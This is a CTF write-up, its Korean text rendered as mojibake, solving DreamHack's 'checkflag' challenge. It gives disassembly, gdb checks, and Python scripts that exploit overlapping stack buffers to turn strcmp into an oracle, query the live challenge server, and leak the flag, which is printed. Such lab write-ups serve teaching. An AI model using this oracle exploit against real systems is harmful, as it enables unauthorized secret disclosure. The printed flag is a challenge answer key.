๋ฌธ์ : DreamHack โ checkflag ๋ถ๋ฅ: Pwnable + Reversing ๋์ด๋: ๐ฅ Bronze 3 FLAG:
DH{RHP1_ZPWR2G!}
๋ฌธ์ ๊ฐ์
| ๋ฐฐํฌ๋ฌผ | checkflag (ELF64 PIE, not stripped, 8,584 B) |
| ์๋ฒ | ํ์ (needs_vm: true โ ์ง์ง flag ๋ ์๊ฒฉ ํ์ผ์๋ง ์๋ค) |
| ํต์ฌ ๊ธฐ๋ฒ | ์คํ ๋ฒํผ ๊ฒน์นจ โ strcmp ๋ฅผ ์ ๋ฏธ์ฌ ์ผ์น ์ค๋ผํด๋ก ์ ํ |
๋ฌธ์ ์ค๋ช
์ ์งง๋ค. ํ๋๊ทธ๋ฅผ ์
๋ ฅํ๋ฉด ๋ง์๋์ง ์๋ ค์ฃผ๊ณ , flag ๋ DH{...} ํ์์ ์ถ๋ ฅ ๊ฐ๋ฅํ
ASCII(0x20~0x7e)๋ง ์ด๋ค๊ณ ํ๋ค.
ํ์ผ๋ก ์ฃผ๋ ๋ฐ์ด๋๋ฆฌ์๋ ์ง์ง flag ๊ฐ ์๋ค. ๊ฐ์ ํด๋์ flag ํ์ผ์ ์ฝ์ด ๋น๊ตํ ๋ฟ์ด๋ผ
๋ก์ปฌ์์๋ ๊ฐ์ง flag ๋ฅผ ๋๊ณ ๊ธฐ๋ฒ๋ง ๊ฒ์ฆํ๊ณ , ์ค์ ๊ฐ์ ์๊ฒฉ ์๋ฒ์์ ๋ฝ์์ผ ํ๋ค.
1. ์ ์ฐฐ
๋ฐฐํฌ๋ zip ์ ํ๋ฉด checkflag ํ๋๊ฐ ๋์จ๋ค. ๋จผ์ ๋ฌด์์ธ์ง๋ถํฐ ๋ณธ๋ค.
cd extracted
file checkflag && checksec --file=checkflag
PIE ์ not stripped. ์ฌ๋ณผ์ด ๋จ์ ์์ด main ์ ๋ฐ๋ก ์ฐพ์ ์ ์๋ค.
์ด ๋ฌธ์ ๋ ๋ณดํธ ๊ธฐ๋ฒ์ ์ฐํํ ํ์๊ฐ ์๋ค. ์คํ์ ๋์ด ๋ฆฌํด ์ฃผ์๋ฅผ ๋ฎ๋ ๊ณต๊ฒฉ์ด ์๋๊ธฐ ๋๋ฌธ์ด๋ค.
read ๊ฐ ๋ฐ๋ ๊ธธ์ด๋ ์คํ ์นด๋๋ฆฌ ์์์ ์ ํํ ๋๊ธด๋ค โ ๋ค์์ ๋ณด๊ฒ ์ง๋ง ์๋์ ์ผ๋ก ๋ฑ
๊ทธ๋งํผ๋ง ๋ฐ๋๋ค.
์ด๋๋ถํฐ ๋ณผ ๊ฒ์ธ๊ฐ
not stripped ๋ผ ์ฌ๋ณผ์ด ๋ค ๋จ์ ์์ง๋ง, ๊ทธ๋ ๋ค๊ณ ์ ๋ถ ์ฝ์ ํ์๋ ์๋ค. ์ด๋ฐ "์ ๋ ฅ์ ๋ฐ์ ํ์ ๋ง ํ๋" ๋ฐ์ด๋๋ฆฌ๋ ์ด๋ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์๋ฅผ ๋ถ๋ฅด๋์ง๋ง ๋ด๋ ๊ตฌ์กฐ๊ฐ ๊ฑฐ์ ๋๋ฌ๋๋ค.
PLT ๋ฅผ ํ์ผ๋ฉด fopen ยท fgets ยท fclose ยท fputs ยท fflush ยท read ยท strcmp ๊ฐ ์ ๋ถ๋ค.
์ฌ๊ธฐ์ ์ฝํ๋ ์ด์ผ๊ธฐ๊ฐ ์๋ค.
fopen+fgets+fcloseโ ํ์ผ์์ ํ ์ค์ ์ฝ๋๋ค. ๊ทธ๊ฒ flag ์ผ ๊ฒ์ด๋คreadโ ํ์ค ์ ๋ ฅ์์ ์ฐ๋ฆฌ ์ ๋ ฅ์ ๋ฐ๋๋ค.fgets๊ฐ ์๋๋ผread์ธ ๊ฒ ๋์ ๋๋ค. ๊ฐํ์์ ๋๊ธฐ์ง ์๊ณ ์ง์ ํ ๊ธธ์ด๋งํผ ํต์งธ๋ก ๋ฐ๋๋ค๋ ๋ป์ด๋คstrcmpโ ๋ฌธ์์ด ๋น๊ต ํ ๋ฒ. ํ์ ์ ์ฌ๊ธฐ์ ๋๋๋ค
memcmp ๋ strncmp ๋ ์๋๊ณ strcmp ๋ผ๋ ์ ์ด ์ค์ํ๋ค. strcmp ๋ NUL ์ ๋ง๋๋ฉด ๋ฉ์ถ๋ค.
์ฆ ์ฐ๋ฆฌ๊ฐ ์
๋ ฅ ์ด๋๊ฐ์ NUL ์ ์ฌ์ผ๋ฉด ๋น๊ต ๋์์ ๋์ ์ฐ๋ฆฌ๊ฐ ์ ํ ์ ์๋ค. ์ด ์ฑ์ง์ด ๋ค์์
์ค๋ผํด์ ๋ง๋๋ ์ฌ๋ฃ๊ฐ ๋๋ค.
2. main ์ด ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ด๋ป๊ฒ ์ฐ๋๊ฐ
objdump ๋ก main ์๋ถ๋ถ์ ๋ณธ๋ค. ๋์ผ๋ก ๋ฐ๋ผ๊ฐ๊ธฐ ์ด๋ ค์์ ํต์ฌ ์ธ ์ค์๋ sed ๋ก ์ฃผ์์
์น์๋ค(annotate_main.sed). ๋์ค์ด์
๋ธ ์๋ฌธ์ objdump ์ถ๋ ฅ ๊ทธ๋๋ก๊ณ , ; ๋ค๊ฐ ๋ด๊ฐ ๋ถ์ธ ๊ฒ์ด๋ค.
s|mov rbx,rsp$|& ; rbx = ์
๋ ฅ ๋ฒํผ (rsp+0x00)|
s|rep stos DWORD PTR \[rdi\],eax|& ; 0xc8 ๋ฐ์ดํธ ์ ๋ถ 0 ์ผ๋ก|
s|lea rbp,\[rbx+0x40\]$|& ; โ
rbp = flag ๋ฒํผ = ์
๋ ฅ ๋ฒํผ + 0x40|objdump -d -M intel --start-address=0x7f7 --stop-address=0x830 extracted/checkflag \
| sed -n '8,26p' | sed -f annotate_main.sed
์ธ ์ค์ด ์ ๋ถ๋ค.
mov rbx, rsp ; rbx = ์คํ ๋ฒํผ ์์
rep stos DWORD PTR [rdi] ; 0xc8 ๋ฐ์ดํธ๋ฅผ 0 ์ผ๋ก ๋ฐ๊ณ
lea rbp, [rbx+0x40] ; rbp = rbx + 0x40๊ทธ๋ฆฌ๊ณ fopen("flag","r") โ fgets(rbp, 0x40, f) ๋ก flag ๋ฅผ rbx+0x40 ์ ์ ์ฌํ๋ค.
์ด์ ์ ๋ ฅ์ ๋ฐ๋ ์ชฝ์ ๋ณธ๋ค.

mov edx, 0xc8 ; 200 ๋ฐ์ดํธ๊น์ง ๋ฐ๋๋ค
mov rsi, rbx ; ๋ชฉ์ ์ง๋ rbx โ flag ๋ฒํผ๋ณด๋ค 0x40 ์
call read
repnz scas ; strlen(flag ๋ฒํผ)
cmp rax, rdx ; ์
๋ ฅ ๊ธธ์ด๋ณด๋ค ๊ธธ๋ฉด Failed
call strcmp ; strcmp(rbx, rbp)๋ ๋ฒํผ๊ฐ ๊ฐ์ 200๋ฐ์ดํธ ์์ญ์ 0x40 ๊ฐ๊ฒฉ์ผ๋ก ๊ณต์ ํ๋ค. ๊ทธ๋ฐ๋ฐ ์ ๋ ฅ์ 0x40 ์ ํ์ฉ ๋๋ 0xc8 ๋ฐ์ดํธ๊น์ง ๋ฐ๋๋ค. ์ฆ 0x40 ๋ฐ์ดํธ๋ฅผ ๋๊ฒจ ๋ณด๋ด๋ฉด ๊ทธ ๋ค๋ flag ์์ ์ฐ์ธ๋ค.
fgets ๊ฐ ์ต๋ 0x40 ๋ฐ์ดํธ๋ฅผ ์ฝ์ผ๋ฏ๋ก flag ๋ rbx+0x40 ~ rbx+0x7f ๋ฅผ ์ฐ๊ณ ,
์
๋ ฅ์ rbx+0x00 ~ rbx+0xc7 ์ ์ด๋ค. ๊ฒน์น๋ ๊ตฌ๊ฐ์ด flag ์ ์ฒด๋ค.
๊ทธ๋ฆผ์ผ๋ก ๋์ผ๋ฉด ์ด๋ ๋ค.
rbx+0x00 rbx+0x40 rbx+0x7f rbx+0xc8
| | | |
์
๋ ฅ read [=======================|=======================|=============] 0xc8 ๋ฐ์ดํธ
flag fgets [=======================] 0x40 ๋ฐ์ดํธ
โ
์ฌ๊ธฐ๋ถํฐ ์ฐ๋ฆฌ๊ฐ ๋ฎ์ด์ธ ์ ์๋คread ๊ฐ rbx ๋ถํฐ ์ฑ์ฐ๋ฏ๋ก 0x40 ๋ฒ์งธ ๋ฐ์ดํธ๋ถํฐ๊ฐ ๊ณง flag ์ ์ฒซ ๊ธ์ ์๋ฆฌ๋ค.
0x40 ๋ฐ์ดํธ๋ง ๋ณด๋ด๋ฉด flag ๋ ๋ฉ์ฉกํ๊ณ , 0x41 ๋ฐ์ดํธ๋ฅผ ๋ณด๋ด๋ฉด flag ์ฒซ ๊ธ์๊ฐ ๋ฐ๋๋ค.
์ ๋ง ๊ฒน์น๋์ง gdb ๋ก ํ์ธ
๋์ค์ด์
๋ธ๋ฆฌ๋ง ๋ณด๊ณ "๊ฒน์น๋ค"๊ณ ๋จ์ ํ๊ณ ์ถ์ง๋ ์์๋ค. main ์์ strcmp ํธ์ถ ์ง์ ์
๋ธ๋ ์ดํฌ๋ฅผ ๊ฑธ๊ณ ๋ ์ธ์์ ์ฃผ์๋ฅผ ์ง์ ์ฐ์๋ค. ์
๋ ฅ์ผ๋ก๋ d=4 ์ง๋ฆฌ ํ์ด๋ก๋
('A'*4 + "GUESS" + NUL ํจ๋ฉ + 'A'*4, ์ด 0x44 ๋ฐ์ดํธ)๋ฅผ ๋ฃ์๋ค.
๋จผ์ ๊ทธ ์
๋ ฅ์ ํ์ผ๋ก ๋ง๋ ๋ค. read ๋ก ๋ฐ์ผ๋ฏ๋ก ๋ฆฌ๋ค์ด๋ ํธ๋ก ๋จน์ด๋ฉด ๋๋ค.
python3 -c "
import sys
d = 4
p = b'A'*d + b'GUESS'
p = p + b'\x00'*(0x40 - len(p)) + b'A'*d
sys.stdout.buffer.write(p)" > payload_d4.bincmds.gdb ๋ ์ด๋ ๊ฒ ์ผ๋ค. ์ถ๋ ฅ์ ๋ณด์ด๋ ํ๊ธ ์ค์ ์ ๋ถ ์๋ printf ๊ฐ ์ฐ๋ ๊ฒ์ด๋ค โ
gdb ๊ฐ ์์์ ํด ์ฃผ๋ ๊ฒ ์๋๋ผ ๋ด๊ฐ ์ฝ๊ธฐ ํธํ๋ผ๊ณ ๋ผ๋ฒจ์ ๋ถ์ธ ๊ฒ์ด๋ค.
set pagination off
set confirm off
break *(main+0xbd)
run < payload_d4.bin
printf "\n=== main ์ strcmp ํธ์ถ ์ง์ ===\n"
printf "arg1 rdi (์
๋ ฅ ๋ฒํผ) = %p\n", $rdi
printf "arg2 rsi (flag ๋ฒํผ) = %p\n", $rsi
printf "๊ฐ๊ฒฉ rsi - rdi = 0x%lx <-- 0x40 ์ด๋ฉด ๊ฒน์นจ ํ์ \n", (unsigned long)$rsi-(unsigned long)$rdi
printf "์
๋ ฅ ๋ฒํผ ๋ด์ฉ = %s\n", (char *)$rdi
printf "flag ๋ฒํผ ๋ด์ฉ = %s <-- ์ 4๋ฐ์ดํธ๊ฐ A ๋ก ๋ฎ์๋ค\n", (char *)$rsi
quitmain+0xbd ๋ strcmp ํธ์ถ ์ง์ ๋ช
๋ น์ ์คํ์
์ด๋ค. PIE ๋ผ ์ ๋์ฃผ์๊ฐ ์คํ๋ง๋ค ๋ฐ๋๋ฏ๋ก
์ซ์๋ฅผ ๊ทธ๋๋ก ๋ฏฟ์ง ๋ง๊ณ objdump -d extracted/checkflag ์์ call ... <strcmp@plt> ๋ฐ๋ก ์
๋ช
๋ น์ main ๊ธฐ์ค ์คํ์
์ ์ง์ ํ์ธํด ๋ฃ๋๋ค. *(main+์คํ์
) ์ผ๋ก ์ก์ผ๋ฉด ๋ก๋ ๋ฒ ์ด์ค๋
gdb ๊ฐ ๋ํด ์ค๋ค.
cd local && gdb -q -batch -x cmds.gdb ./checkflag 2>&1 | tail -11
arg1 rdi (์
๋ ฅ ๋ฒํผ) = 0x7fffffffd5d0
arg2 rsi (flag ๋ฒํผ) = 0x7fffffffd610
๊ฐ๊ฒฉ rsi - rdi = 0x40
์
๋ ฅ ๋ฒํผ ๋ด์ฉ = AAAAGUESS
flag ๋ฒํผ ๋ด์ฉ = AAAA0cal_t3st_fl4g_for_checkflag_5678}๊ฐ์ง flag ๋ ์๋ DH{l0cal_t3st_... ์ธ๋ฐ, ์ 4๊ธ์ DH{l ์ด ๋ด๊ฐ ๋ณด๋ธ AAAA ๋ก ๋ฐ๋์ด ์๋ค.
๊ฒน์นจ์ด ์ค์ธก์ผ๋ก ํ์ธ๋๋ค.
read ๊ฐ ์ ํํ 0xc8 ์ธ๊ฐ
์ด ์ซ์๋ฅผ ๊ทธ๋ฅ ๋๊ธฐ์ง ์๋ ๊ฒ ์ข๋ค. main ํ๋กค๋ก๊ทธ๋ฅผ ๋ณด๋ฉด sub rsp, 0xd0 ์ผ๋ก 208๋ฐ์ดํธ๋ฅผ ์ก๊ณ ,
mov QWORD PTR [rsp+0xc8], rax ๋ก rsp+0xc8 ์ ์คํ ์นด๋๋ฆฌ๋ฅผ ๋ฃ๋๋ค. ๊ทธ๋ฆฌ๊ณ
rep stos ๊ฐ ๋ฏธ๋ ๋ฒ์๋, read ๊ฐ ๋ฐ๋ ๊ธธ์ด๋ ์ ํํ 0xc8 ์ด๋ค.

์ฆ ์ด ํ๋ก๊ทธ๋จ์ ์นด๋๋ฆฌ ์ง์ ๊น์ง ๊ฝ ์ฑ์ ๋ฐ๋ ์นด๋๋ฆฌ๋ ๊ฑด๋๋ฆฌ์ง ์๋๋ก ์ค๊ณ๋ผ ์๋ค. ๋ฆฌํด ์ฃผ์๋ฅผ ๋ฎ๋ ๊ณ ์ ์ ์ธ ์คํ ์ค๋ฒํ๋ก์ฐ๋ ์ฒ์๋ถํฐ ๋งํ ์๋ค๋ ๋ป์ด๊ณ , ์ถ์ ์๊ฐ "์ด์ชฝ์ด ์๋๋ผ ๋ค๋ฅธ ๊ฑธ ๋ณด๋ผ"๊ณ ์ ์ ๊ทธ์ด ๋ ์ ์ด๋ค.
๊ทธ๋์ ์ด ๋ฌธ์ ์ ๋ต์ ๊ฒฝ๊ณ๋ฅผ ๋๋ ๊ฒ์ด ์๋๋ผ ๊ฒฝ๊ณ ์์์ ๋ ๋ฒํผ๊ฐ ๊ฒน์น๋ ๊ฒ์ด๋ค. ๋ฐ์ ์ ์๋ 200๋ฐ์ดํธ๋ ์ ๋ถ ํฉ๋ฒ์ ์ธ ์ ๋ ฅ ์์ญ์ธ๋ฐ, ๊ทธ ์์ flag ๊ฐ ๊ฐ์ด ์ด๊ณ ์๋ค.
3. strcmp ๋ฅผ ์ค๋ผํด๋ก ๋ฐ๊พธ๊ธฐ
์ฌ๊ธฐ์ ํ ๊ฑธ์ ๋ ๋๊ฐ์ผ ํ๋ค. ๊ฒน์น๋ค๋ ๊ฒ๋ง์ผ๋ก๋ flag ๋ฅผ ์ฝ์ ์ ์๋ค. strcmp ๋ ๊ฐ๋ค/๋ค๋ฅด๋ค
ํ ๋นํธ๋ง ์๋ ค์ฃผ๊ธฐ ๋๋ฌธ์ด๋ค. ๊ทธ ํ ๋นํธ๋ก ๋ฌด์์ ๋ฌผ์ด๋ณผ ์ ์๋์ง๊ฐ ๊ด๊ฑด์ด๋ค.
0x40 + d ๋ฐ์ดํธ๋ฅผ ๋ณด๋ธ๋ค๊ณ ํ์. ๋ค์ชฝ d ๋ฐ์ดํธ๊ฐ flag ์๋จธ๋ฆฌ๋ฅผ ๋ฎ์ผ๋ฏ๋ก, strcmp ๊ฐ ๋น๊ตํ๋
๋ ๋ฌธ์์ด์ ์ด๋ ๊ฒ ๋๋ค.
| ๋ด์ฉ | |
|---|---|
| ์ข๋ณ (์ ๋ ฅ ๋ฒํผ) | ๋ด๊ฐ ๋ณด๋ธ ์๋ถ๋ถ์์ ์ฒซ NUL ์๊น์ง |
| ์ฐ๋ณ (flag ๋ฒํผ) | K + flag[d:] โ ์ฌ๊ธฐ์ K ๋ ๋ด๊ฐ ๋ฎ์ d ๋ฐ์ดํธ |
์ฐ๋ณ์ K ๋ ๋ด๊ฐ ์ ํ ๊ฐ์ด๋ผ ์ด๋ฏธ ์๋ค. ๊ทธ๋ฌ๋ ์ข๋ณ์ K + ์ถ์ธก ์ผ๋ก ๋ง๋ค๊ณ NUL ๋ก ๋์ผ๋ฉด,
strcmp ์ ๊ฒฐ๊ณผ๋ ๊ณง "flag[d:] ๊ฐ ๋ด ์ถ์ธก๊ณผ ๊ฐ์๊ฐ?" ๊ฐ ๋๋ค.
d ๋ฅผ ํฌ๊ฒ ์ก์์๋ก ๋จ๋ ๊ผฌ๋ฆฌ๊ฐ ์งง์์ง๋ฏ๋ก, ๋ค์์๋ถํฐ ํ ๊ธ์์ฉ ์ขํ ๋๊ฐ ์ ์๋ค.
์ ๋ง ๊ทธ๋ฐ์ง ์๋ฒ ์์ด ํ์ธํ๊ณ ์ถ์ด์, ํ์ด๋ก๋์ ๊ทธ๋์ ๋ ๋ฌธ์์ด์ ๊ทธ๋๋ก ์ฐ๋ ์คํฌ๋ฆฝํธ๋ฅผ
๋ฐ๋ก ๋ง๋ค์๋ค. tools_oracle_demo.py ์ ๋ฌธ์ด๋ค โ ์๋ ์ถ๋ ฅ์ ํ๊ธ์ ์ ๋ถ ์ด print ๊ฐ ์ฐ๋๋ค.
#!/usr/bin/env python3
"""์ค๋ผํด์ด ์ ์ฑ๋ฆฝํ๋์ง ํ์ด๋ก๋๋ฅผ ์ง์ ์ฐ์ด ๋ณธ๋ค."""
BUF = 0x40
def build(d, guess):
K = b"A" * d # flag ์ d๋ฐ์ดํธ๋ฅผ ๋ฎ์ ์๋ ค์ง ๋ฐ์ดํธ
A = K + guess # strcmp ์ข๋ณ์ ๋์ ๊ธฐ๋ ๋ฌธ์์ด
head = A + b"\x00" * (BUF - len(A)) # NUL ๋ก ๋๋๋ค
return head + K # ์ด 0x40 + d
flag = b"DH{ABCDEF}" # ์ค๋ช
์ฉ ๊ฐ์ง flag
for d in (0, 3, 7):
p = build(d, b"?")
left = p[:p.index(b"\x00")] # strcmp ์ข๋ณ
right = b"A" * d + flag[d:] # ๋ฎ์ธ ๋ค์ flag ๋ฒํผ
print(f"d={d} ๋ณด๋ธ๊ธธ์ด={len(p):3d} ์ข๋ณ={left!r:14} ์ฐ๋ณ(flag๋ฒํผ)={right!r}")
print(f" โ ๋ฌผ์ด๋ณด๋ ๊ฒ: flag[{d}:] ๊ฐ '?' ์ธ๊ฐ? ๋จ์ ๋ถ๋ถ={flag[d:]!r}")python3 tools_oracle_demo.py
ํ๋ก ๋ณด๋ฉด ์ด๋ ๋ค. flag ๊ฐ DH{ABCDEF} ๋ผ๊ณ ํ์.
d | ๋ณด๋ธ ๊ธธ์ด | ์ข๋ณ(์ ๋ ฅ) | ์ฐ๋ณ(flag ๋ฒํผ) | ๋ฌผ์ด๋ณด๋ ๊ฒ |
|---|---|---|---|---|
| 0 | 0x40 | ? | DH{ABCDEF} | flag ์ ์ฒด๊ฐ ? ์ธ๊ฐ |
| 3 | 0x43 | AAA? | AAA{ABCDEF} ์ ๋ค โ AAA + ABCDEF} | flag[3:] ๊ฐ ? ์ธ๊ฐ |
| 7 | 0x47 | AAAAAAA? | AAAAAAA + EF} | flag[7:] ๊ฐ ? ์ธ๊ฐ |
d ๋ฅผ ํค์ฐ๋ฉด ๋ฌผ์ด๋ณด๋ ๊ผฌ๋ฆฌ๊ฐ ์งง์์ง๋ค. d = len-1 ์์ ์์ํด ๋ง์ง๋ง ํ ๊ธ์๋ถํฐ ๋งํ๊ณ ,
๋งํ ๊ธ์๋ฅผ ์ถ์ธก์ ์ด์ด ๋ถ์ด๋ฉด์ d ๋ฅผ ํ๋์ฉ ์ค์ด๋ฉด ์ ์ฒด๊ฐ ๋ณต์๋๋ค.
๊ธธ์ด๋ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ป๋๋ค. d ๊ฐ flag ๊ธธ์ด ์ด์์ด๋ฉด ์ฐ๋ณ์ด K ๋ฟ์ด ๋์ด, ์ถ์ธก์ ๋น ๋ฌธ์์ด๋ก
๋๋ฉด ์ข๋ณ๋ K ๋ผ ๋ฌด์กฐ๊ฑด ์ผ์นํ๋ค. ๊ทธ๋ฌ๋ ๋น ์ถ์ธก์ด ์ฒ์ ํต๊ณผํ๋ d ๊ฐ ๊ณง flag ๊ธธ์ด๋ค.
def find_length(io, workers):
"""d >= len(flag) ์ด๋ฉด B ๊ฐ K ๋ฟ์ด๋ผ A ์ ๊ฐ์์ง๋ค."""
for base in range(0, MAXLEN, workers):
cand = list(range(base, min(base + workers, MAXLEN)))
with ThreadPoolExecutor(max_workers=workers) as ex:
hits = list(ex.map(lambda d: io.ask(build(d, b"")), cand))
for d, ok in zip(cand, hits):
if ok:
return d
raise RuntimeError("๊ธธ์ด ํ๋ณ ์คํจ")ํ ๊ธ์๋ฅผ ํ์ ํ๋ ค๋ฉด ์ต๋ 95๋ฒ(0x20~0x7e) ๋ฌผ์ด๋ด์ผ ํ๋ฏ๋ก, ํ๋ณด๋ฅผ ์ค๋ ๋๋ก ๋ณ๋ ฌ ์ง์ํ๊ณ flag ์ ์์ฃผ ์ฐ์ด๋ ๋ฌธ์๋ฅผ ์์ผ๋ก ๋น๊ฒจ ํ์ ํ์๋ฅผ ์ค์๋ค.
CHARSET = bytes([0x0a]) + bytes(range(0x20, 0x7f))
PRIORITY = b"}_{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n"
CHARSET = bytes(dict.fromkeys(PRIORITY + CHARSET))0x0a ๋ฅผ ๋ฃ์ด ๋ ์ด์ ๋ ๋ค์์ ์ค๋ช
ํ๋ค. ๋ฌธ์ ์ค๋ช
์ ์ถ๋ ฅ ๊ฐ๋ฅํ ASCII ๋ง ์ด๋ค๊ณ ํ์ง๋ง,
๋ฉ๋ชจ๋ฆฌ์ ์ค์ ๋ก ๋ค์ด ์๋ ๋ฌธ์์ด์ ๊ทธ๊ฒ๊ณผ ๋ค๋ฅผ ์ ์๋ค.
์ ๋ง ๋ ๊ฐ๋๋ก ๊ฐ๋ฆฌ๋์ง ๋ผ์ด๋ธ ์๋ฒ์ ์ง์ ๋ฌผ์ด๋ดค๋ค. d=4 ์ ๋ง๋ ์ ๋๋ ์ถ์ธก์ ๋ฃ์ ๊ฒ๊ณผ,
d=12 ์ ์ค์ ๊ผฌ๋ฆฌ(2G!})๋ฅผ ๋ฃ์ ๊ฒ์ ๋๋ํ ๋ณด๋ธ๋ค.
tools_oracle_channel.py ์ ๋ฌธ์ด๋ค. ์๋ฒ ์ฃผ์๋ ์๊ธฐ ์ธ์คํด์ค ๊ฒ์ผ๋ก ๋ฐ๊ฟ์ผ ํ๋ค.
#!/usr/bin/env python3
"""์ค๋ผํด์ ๊ด์ธก ์ฑ๋์ด ์ค์ ๋ก ๋ ๊ฐ๋์ธ์ง ๋ผ์ด๋ธ ์๋ฒ์ ๋ฌผ์ด๋ณธ๋ค."""
import socket
HOST, PORT, BUF = "host3.dreamhack.games", 15870, 0x40
def ask(payload: bytes) -> bytes:
s = socket.create_connection((HOST, PORT), timeout=8)
s.recv(64) # "What's the flag? "
s.sendall(payload)
out = b""
while True:
c = s.recv(256)
if not c:
break
out += c
s.close()
return out.strip()
def build(d: int, guess: bytes) -> bytes:
K = b"A" * d
A = K + guess
return A + b"\x00" * (BUF - len(A)) + K
print("d=4 ์ถ์ธก 'XXX' โ", ask(build(4, b"XXX"))) # flag[4:] ๊ฐ XXX ์ผ ๋ฆฌ ์๋ค
print("d=12 ์ถ์ธก '2G!}' โ", ask(build(12, b"2G!}"))) # flag[12:] ๋ ์ค์ ๋ก 2G!}python3 tools_oracle_channel.py
Failed! ์ Correct! ๋ก ๊นจ๋ํ๊ฒ ๊ฐ๋ฆฐ๋ค. ์ด ํ ๋นํธ๊ฐ ์ฐ๋ฆฌ๊ฐ ๊ฐ์ง ์ ๋ถ์ด์, ํ์ํ ์ ๋ถ๋ค.
๋ณต์ ๋ฃจํ๋ ์ด๋ ๊ฒ ์๊ฒผ๋ค. ์ด๋ฏธ ๋งํ ๋ท๋ถ๋ถ known ์์ ํ๋ณด ํ ๊ธ์๋ฅผ ๋ถ์ฌ ๋ฌผ์ด๋ณธ๋ค.
def leak(io, length, workers, verbose=True) -> bytes:
known = b""
for pos in range(length - 1, -1, -1): # ๋ค์์๋ถํฐ
found = None
for base in range(0, len(CHARSET), workers):
cand = CHARSET[base:base + workers]
with ThreadPoolExecutor(max_workers=workers) as ex:
hits = list(ex.map(lambda c: io.ask(build(pos, bytes([c]) + known)), cand))
for c, ok in zip(cand, hits):
if ok:
found = c
break
if found is not None:
break
if found is None:
raise RuntimeError(f"{pos}๋ฒ์งธ ๋ฌธ์ ๋ณต์ ์คํจ")
known = bytes([found]) + known
return known์ง์ ํ์๋ ์ต์
์ ๊ฒฝ์ฐ ๊ธธ์ด ร 95 ๋ค. ์๊ฒฉ 16๊ธ์๋ฉด 1,520๋ฒ์ธ๋ฐ, ์ค์ ๋ก๋ ์ฐ์ ์์ ๋ฌธ์์ด
๋๋ถ์ ํจ์ฌ ์ ๊ฒ ๋๋๋ค. ๊ทธ๋๋ ๋งค ์ง์๊ฐ TCP ์ฐ๊ฒฐ ํ ๋ฒ์ด๋ผ ๋ณ๋ ฌํ๊ฐ ํ์ํ๋ค.
์์ปค 8๊ฐ๋ก ๋ฌถ์ด ํ ๋ฒ์ 8๊ธ์ ํ๋ณด๋ฅผ ๋์์ ๋์ง๋ค.
4. ๋ก์ปฌ ๊ฒ์ฆ
์๊ฒฉ์ ๋ถ๊ธฐ ์ ์ ๊ฐ์ง flag ๋ก ๊ธฐ๋ฒ์ด ๋๋์ง ํ์ธํ๋ค. ๋ฐ์ด๋๋ฆฌ๊ฐ CWD ์ flag ํ์ผ์ ์ด๊ธฐ ๋๋ฌธ์
๊ทธ ํ์ผ์ด ์๋ ๋๋ ํ ๋ฆฌ์์ ์คํํด์ผ ํ๋ค.

๋ค์์๋ถํฐ ํ ๊ธ์์ฉ ์๋ผ๋๋ ๊ฒ ๊ทธ๋๋ก ๋ณด์ธ๋ค. 0.8์ด์ 39๊ธ์๊ฐ ๋์๋ค.
๐ง ์ฝ์ง โ ๊ธธ์ด๊ฐ 39 ์ธ๋ฐ flag ๋ 38๊ธ์์๋ค
๋ก์ปฌ ๊ฐ์ง flag ๋ DH{l0cal_t3st_fl4g_for_checkflag_5678} ๋ก 38๊ธ์๋ค. ๊ทธ๋ฐ๋ฐ ๊ธธ์ด ํ๋ณ์
39 ๋ฅผ ๋๋ ค์คฌ๊ณ , ๋ณต์๋ ๋ง์ง๋ง ๊ธ์๊ฐ \n ์ด์๋ค.
์์ธ์ fgets ๋ค. fgets ๋ ๊ฐํ์ ๋ฒ๋ฆฌ์ง ์๊ณ ๊ทธ๋๋ก ๋จ๊ธด๋ค. flag ํ์ผ ๋์ ๊ฐํ์ด
์์ผ๋ฉด ๋ฉ๋ชจ๋ฆฌ์ ๋ฌธ์์ด์ DH{...}\n ์ด ๋๊ณ , strcmp ๋ ๊ทธ ๊ฐํ๊น์ง ํฌํจํด ๋น๊ตํ๋ค.
๊ทธ๋์ CHARSET ์ 0x0a ๋ฅผ ๋ฃ์ด ๋๋ค. ์ด๊ฑธ ๋นผ๋จน์ผ๋ฉด ๋ง์ง๋ง ํ ๊ธ์์์ ํ๋ณด๊ฐ ์ ๋ถ ์คํจํ๊ณ
RuntimeError ๋ก ์ฃฝ๋๋ค โ ์์ 38๊ธ์๋ฅผ ๋ค ๋งํ ๋๊ณ ๋ง์ง๋ง์ ๋งํ๋ ํํ๋ผ ์์ธ์ ์ฐพ๊ธฐ๋ ํท๊ฐ๋ฆฐ๋ค.
์ฌ๋ฏธ์๋ ๊ฑด ์๊ฒฉ์ 39๊ฐ ์๋๋ผ 16์ด ๋์๋ค๋ ๊ฒ์ด๋ค. ์๋ฒ์ flag ํ์ผ์๋ ๋ ๊ฐํ์ด ์๋ค.
๊ฐ์ ๋ฐ์ด๋๋ฆฌ๋ผ๋ ํ์ผ์ ์ด๋ป๊ฒ ๋ง๋ค์๋๋์ ๋ฐ๋ผ ๋ฉ๋ชจ๋ฆฌ์ ๊ธธ์ด๊ฐ ๋ฌ๋ผ์ง๋ค.
5. ์๊ฒฉ์์ ์ง์ง flag
๋ก์ปฌ์์ ํ์ ๋ ํ์ด๋ก๋๋ฅผ ๊ทธ๋๋ก ์๋ฒ์ ๋ถ์ธ๋ค. ์๋น์ค๋ TCP ๋ก ์ด๋ ค ์๊ณ ์ ์ํ๋ฉด
What's the flag? ๋ฐฐ๋๋ฅผ ๋ณด๋ธ๋ค. ์ต์ค๋ฅผ ๋ถ์ด๊ธฐ ์ ์ ํ๋กํ ์ฝ๋ถํฐ ํ ์ค๋ก ํ์ธํ๋ค.
python3 -c "
import socket
s=socket.create_connection((\"host3.dreamhack.games\",15870),timeout=8)
print(\"๋ฐฐ๋:\", s.recv(64))
s.sendall(b\"test\n\"); print(\"์๋ต:\", s.recv(64)); s.close()"
์๊ฒฉ ํด๋์ค๋ ์์ผ์ ์ด๊ณ ๋ฐฐ๋๋ฅผ ๋ฒ๋ฆฐ ๋ค ํ์ด๋ก๋๋ฅผ ๋ณด๋ด๊ณ ์๋ต์ Correct! ๊ฐ ์๋์ง๋ง ๋ณธ๋ค.
์ง์๊ฐ ์๋ฐฑ ๋ฒ ๋๊ฐ๋ฏ๋ก ๋คํธ์ํฌ ์ค๋ฅ๋ ๋ช ๋ฒ ์ฌ์๋ํ๋ค.
class Remote:
